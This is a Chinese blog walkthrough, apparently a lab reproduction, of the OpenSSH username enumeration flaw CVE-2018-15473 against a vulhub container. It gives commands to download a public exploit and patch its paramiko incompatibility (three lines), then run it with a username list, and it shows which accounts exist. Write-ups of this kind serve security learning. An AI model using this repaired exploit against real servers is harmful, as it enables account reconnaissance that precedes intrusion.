避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473)

这篇具有很好参考价值的文章主要介绍了避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

介绍:

OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中,在复现过程中遇到了很多坑,这里我就把遇到坑和解决方法告诉大家!!!

漏洞环境:

靶机:Ubuntu(vulhub)

IP:192.168.0.103

 文章来源地址https://www.toymoban.com/news/detail-450284.html

攻击机:kali

IP:192.168.0.104

 

漏洞复现:

1.开启环境

#cd vulhub-master/openssh/CVE-2018-15473     //进入目录
#docker-compose build
#docker-compose up -d      //开启环境

 避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473)

 环境启动后,我们在kali执行ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@192.168.0.103 -p20022,输入密码vulhub,即可登录到容器中,这里我就不在演示了。

 

2.工具下载

使用 CVE-2018-15473-Exploit 工具进行用户名枚举。

其中在kali里面下载

#wget http://github.com/Rhynorater/CVE-2018-15473-Exploit/archive/refs/heads/master.zip      //使用wget下载
#unzip master.zip      //解压

其中注意!在复制下载压缩包连接到kali下载时复制是https,可能会下载失败,这里解决方法是改成http,如果还是下载失败,建议本机下载复制到kali里。

避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473)

 

 3.漏洞复现

首先进入解压好的文件夹里,通过运行pip install -r requirements.txt安装依赖。

避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473)

可能会出现一下报错信息

WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv 

 提示以“root”用户身份运行 pip 可能会导致权限损坏和冲突,因此我们需要创造一个虚拟的环境区执行它。

#python3 -m venv tutorial-env    //创建一个虚拟环境
#source tutorial-env/bin/activate   //激活环境

#pip install -r requirements.txt   //再次安装依赖

 避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473)

 

添加几个用户名到exampleInput.txt里

root
example
vulhub
nobody
rootInvalid
user
phithon
123
321

避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473)

 

运行命令进行用户名枚举

#python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt 192.168.0.103

会发现有报错

避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473)

Traceback (most recent call last):
  File "/root/桌面/CVE-2018-15473-Exploit-master/sshUsernameEnumExploit.py", line 33, in <module>
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
                               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: 'property' object is not subscriptable
 

 这里要修改的有三处地方,都是在_handler_table换成_client_handler_table。

第一处在sshUsernameEnumExploit.py脚本的33行

第二处在124行

第三处在125行

避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473)

避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473)

 在运行脚本

#python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt 192.168.0.103

可以看到成功枚举出用户名

避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473) 

 可见,rootexamplevulhubnobody是存在的用户,rootInvaliduserphithon、123、321是不存在的用户。

 

到了这里,关于避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【Ubuntu用户名】更改当前用户名

    更改Ubuntu 上当前用户的用户名通常需要执行一系列步骤,包括创建一个新用户、将文件从旧用户传输到新用户、并删除旧用户。以下是一个详细的步骤: 注意:在执行以下步骤之前,请确保有管理员权限。 创建新用户 :首先,需要创建一个新用户。假设要将当前用户名从

    2024年02月04日
    浏览(44)
  • win11电脑中文用户名修改成英文用户名

     电脑的用户名是中文,在某些软件中会产生乱码问题,甚至无法使用的问题,比如rabbitmq就会无法使用。这个问题可真是头疼啊。下面我就来介绍一下,win11怎么修改用户名。 以管理员身份打开cmd窗口  在命令行输入: net user administrator /active:yes(这是激活管理员账号)  切

    2023年04月24日
    浏览(70)
  • ElasticSearch添加用户名及密码 在RestHighLevelClient中增加用户名密码验证

            漏洞描述:ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口

    2024年02月07日
    浏览(45)
  • GB28181/GB35114视频汇聚平台LiveGBS中如果修改默认admin用户的用户名以及其他用户的用户名

    GB28181/GB35114流媒体服务搭建 搭建入口,解压启动即用:https://www.liveqing.com/docs/download/LiveGBS.html 一、功能说明 提供用户管理及 Web 可视化页面管理,开源的前端页面源码; 提供设备状态管理,可实时查看设备是否掉线等信息; 提供实时流媒体处理,PS(TS)转ES; 提供 RTSP、RTMP、

    2024年02月11日
    浏览(48)
  • 如何安全的修改win11用户名(微软账号登录,用户名会变成纯数字,好丑)

    过河拆桥法 , (下面有图示) 1 设置win11使用本地账户, 2 新建另一个管理员账户GGG, 3 登录GGG, 4 删除目标用户名AAA, 5 重新新建AAA,并设置为管理员, 6 登录AAA, 7 删除GGG, 8 ok                        ok   1、按 Win 键,或点击任务栏上的开始图标,然后在已固定的应

    2024年02月11日
    浏览(131)
  • ubuntu修改用户名和用户密码

    1.修改passwd文件 2.修改shadow文件 3.修改home目录下文件夹名 4.修改sudo权限(修改group用户组) 5.修改用户密码 sudo passwd username #修改用户密码 //username是用户设置用户名,记得替换 sudo passwd root #修改root密码

    2024年02月09日
    浏览(58)
  • Linux 用户账号管理 - 查看当前用户名

    在 Linux 系统中,有多种方式可以查看当前用户名。本文将介绍以下三种常用的查找当前用户名的方法:使用 id 命令、使用 whoami 命令和使用 who am i 命令。 id 命令用于显示用户的ID和所属群组的ID。若只指定用户名称,则显示目前用户的ID。要打印当前用户名的信息,可以执行

    2024年02月15日
    浏览(48)
  • 6、ES单机设置用户名密码、集群设置用户名密码、es-head登录、如何去掉密码

    在配置文件中添加如下参数cat config/elasticsearch.yml: 关闭es服务如果服务启动(kill进程id) 启动es服务 待服务启动完成,且能正常访问后,执行 集群此时是启动状态 elasticsearch-head查看 通过浏览器查看 http://192.168.180.45:9200/_cat/nodes?v 进入主节点的bin目录下执行 再次在bin目录输

    2024年04月26日
    浏览(53)
  • Git 修改用户名

    打开Gitbash 在gitbash中输入 第一步:git config user.name 查看现在的名字 第二步:git config user.email 查看邮箱 第三步:git config --global user.name “你要修改的名字” 要修改的名字写在“ ” 中 第四步:git config user.name 再次看下现在的名字,看是否修改成功

    2024年02月16日
    浏览(58)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包